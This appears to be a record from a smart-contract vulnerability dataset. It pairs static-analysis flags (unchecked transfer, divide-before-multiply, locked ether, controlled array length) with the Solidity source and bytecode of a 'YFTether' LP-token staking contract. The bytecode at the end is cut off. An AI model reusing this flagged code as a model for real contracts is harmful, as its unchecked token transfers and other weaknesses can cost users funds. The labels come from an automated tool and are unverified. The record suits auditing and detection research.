b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613ba25760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b1c576001915050613ba8565b42600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613b6757fe5b90600052602060002090600402016000015411613b9557613b888382613c43565b15613b94576001810390505b5b8080600101915050613a6f565b50600190505b919050565b600082821115613bb957fe5b818303905092915050565b600080828401905083811015613bd657fe5b8091505092915050565b600080828481613bec57fe5b0490508091505092915050565b600080831415613c0c5760009050613c2a565b6000828402905082848281613c1d57fe5b0414613c2557fe5b809150505b92915050565b600080823b905060008111915050919050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613c9b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508210613ce957600080fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613d3557fe5b906000526020600020906004020190506000816002015490506000613d67836000015442613bad90919063ffffffff16565b90506000613d82846001015483613be090919063ffffffff16565b9050613dad613d9e856002015483613bf990919063ffffffff16565b84613bc490919063ffffffff16565b9250836003015483106141565783600301549250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110613e0b57fe5b90600052602060002090600402016000808201600090556001820160009055600282016000905560038201600090555050600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020613ed16001600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050613bad90919063ffffffff16565b81548110613edb57fe5b9060005260206000209060040201600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110613f3357fe5b9060005260206000209060040201600082015481600001556001820154816001015560028201548160020155600382015481600301559050506001600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081613fc1919061440b565b506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415614066576000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a261410683600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001945050505050614405565b6141ed6141838560010154614175600185613bc490919063ffffffff16565b613bf990919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002088815481106141cd57fe5b906000526020600020906004020160000154613bc490919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061423757fe5b9060005260206000209060040201600001819055506142ba83600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061429a57fe5b906000526020600020906004020160030154613bad90919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061430457fe5b9060005260206000209060040201600301819055508673ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1846040518082815260200191505060405180910390a26143b983600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc490919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060009450505050505b92915050565b81548183558181111561443857600402816004028360005260206000209182019101614437919061443d565b5b505050565b61447991905b808211156144755760008082016000905560018201600090556002820160009055600382016000905550600401614443565b5090565b9056fea265627a7a7231582043b1e139a79f3a2bed30b512362d03b31e766064f1916f7eb9ccae60d2f8055764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,465 |
0xf17ddddacc241a7d30f3038aa30324003ad8f2d5
|
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFTether_Farming1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap WETH/YFTE LP token contract address
address public constant LPtokenAddress = 0x2dc9136aCE4077D5060131c0ecCD1635897c75dD;
//DFSocial token address
address public constant tokenAddress = 0x94F31aC896c9823D81cf9C2C93feCEeD4923218f;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 200e18;
uint public constant disburseDuration = 30 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!");
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b146107e8578063f3f91fa01461082c578063f9da7db814610884578063fe547f72146108b8576101da565b8063c326bf4f14610736578063d1b965f31461078e578063d578ceab146107ac578063e027c61f146107ca576101da565b806398896d10116100de57806398896d101461065e5780639d76ea58146106b6578063ac51de8d146106ea578063b6b55f2514610708576101da565b80638da5cb5b146105ee5780638e20a1d9146106225780638f5705be14610640576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146105265780636a395ccb146105445780637e1c0c09146105b25780638b7afe2e146105d0576101da565b806346c648731461043e5780634e71d92d146104965780635312ea8e146104a05780636270cd18146104ce576101da565b80631f04461c116101b85780631f04461c1461036c5780632e1a7d4d146103c4578063308feec3146103f2578063452b4cfc14610410576101da565b806305447d25146101df5780630813cc8f146103445780630c9a0c781461034e575b600080fd5b610215600480360360408110156101f557600080fd5b8101908080359060200190929190803590602001909291905050506108d6565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015610264578082015181840152602081019050610249565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102a657808201518184015260208101905061028b565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102e85780820151818401526020810190506102cd565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561032a57808201518184015260208101905061030f565b505050509050019850505050505050505060405180910390f35b61034c610bef565b005b610356610ca1565b6040518082815260200191505060405180910390f35b6103ae6004803603602081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610cbf565b005b6103fa611173565b6040518082815260200191505060405180910390f35b61043c6004803603602081101561042657600080fd5b8101908080359060200190929190505050611184565b005b6104806004803603602081101561045457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134a565b6040518082815260200191505060405180910390f35b61049e611362565b005b6104cc600480360360208110156104b657600080fd5b810190808035906020019092919050505061136d565b005b610510600480360360208110156104e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a2565b6040518082815260200191505060405180910390f35b61052e6118ba565b6040518082815260200191505060405180910390f35b6105b06004803603606081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c0565b005b6105ba611afc565b6040518082815260200191505060405180910390f35b6105d8611b02565b6040518082815260200191505060405180910390f35b6105f6611b08565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062a611b2c565b6040518082815260200191505060405180910390f35b610648611b32565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b39565b6040518082815260200191505060405180910390f35b6106be611c80565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f2611c98565b6040518082815260200191505060405180910390f35b6107346004803603602081101561071e57600080fd5b8101908080359060200190929190505050611d17565b005b6107786004803603602081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061200b565b6040518082815260200191505060405180910390f35b610796612023565b6040518082815260200191505060405180910390f35b6107b4612028565b6040518082815260200191505060405180910390f35b6107d261202e565b6040518082815260200191505060405180910390f35b61082a600480360360208110156107fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612034565b005b61086e6004803603602081101561084257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612183565b6040518082815260200191505060405180910390f35b61088c61219b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108c06121b3565b6040518082815260200191505060405180910390f35b6060806060808486106108e857600080fd5b60006108fd87876121c090919063ffffffff16565b905060008167ffffffffffffffff8111801561091857600080fd5b506040519080825280602002602001820160405280156109475781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111801561096357600080fd5b506040519080825280602002602001820160405280156109925781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811180156109ae57600080fd5b506040519080825280602002602001820160405280156109dd5781602001602082028036833780820191505090505b50905060008467ffffffffffffffff811180156109f957600080fd5b50604051908082528060200260200182016040528015610a285781602001602082028036833780820191505090505b50905060008b90505b8a811015610bd4576000610a4f8260046121d790919063ffffffff16565b90506000610a668e846121c090919063ffffffff16565b905081878281518110610a7557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610afb57fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610b5357fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610bab57fe5b6020026020010181815250505050610bcd6001826121f190919063ffffffff16565b9050610a31565b50838383839850985098509850505050505092959194509250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4757600080fd5b6000610c51611c98565b905080600c541015610c6357600c5490505b6000811415610c725750610c9f565b610c7b8161220d565b610c9081600c546121c090919063ffffffff16565b600c8190555042600281905550505b565b60015481565b600a6020528060005260406000206000915090505481565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610d7d3361229b565b6000610da7612710610d9960328561257790919063ffffffff16565b6125a690919063ffffffff16565b90506000610dbe82846121c090919063ffffffff16565b9050732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e6557600080fd5b505af1158015610e79573d6000803e3d6000fd5b505050506040513d6020811015610e8f57600080fd5b8101908080519060200190929190505050610f12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d6020811015610fc157600080fd5b8101908080519060200190929190505050611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61109683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ee83600e546121c090919063ffffffff16565b600e819055506111083360046125bf90919063ffffffff16565b801561115357506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561116e5761116c3360046125ef90919063ffffffff16565b505b505050565b600061117f600461261f565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111dc57600080fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561127f57600080fd5b505af1158015611293573d6000803e3d6000fd5b505050506040513d60208110156112a957600080fd5b810190808051906020019092919050505061132c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b61134181600c546121f190919063ffffffff16565b600c8190555050565b60076020528060005260406000206000915090505481565b61136b3361229b565b565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114d66127106114c860328561257790919063ffffffff16565b6125a690919063ffffffff16565b905060006114ed82846121c090919063ffffffff16565b9050732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506040513d60208110156115be57600080fd5b8101908080519060200190929190505050611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116c657600080fd5b505af11580156116da573d6000803e3d6000fd5b505050506040513d60208110156116f057600080fd5b8101908080519060200190929190505050611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6117c583600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181d83600e546121c090919063ffffffff16565b600e819055506118373360046125bf90919063ffffffff16565b801561188257506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561189d5761189b3360046125ef90919063ffffffff16565b505b505050565b60096020528060005260406000206000915090505481565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461191857600080fd5b732dc9136ace4077d5060131c0eccd1635897c75dd73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806128ce6034913960400191505060405180910390fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806128966038913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611abb57600080fd5b505af1158015611acf573d6000803e3d6000fd5b505050506040513d6020811015611ae557600080fd5b810190808051906020019092919050505050505050565b600e5481565b600c5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b62278d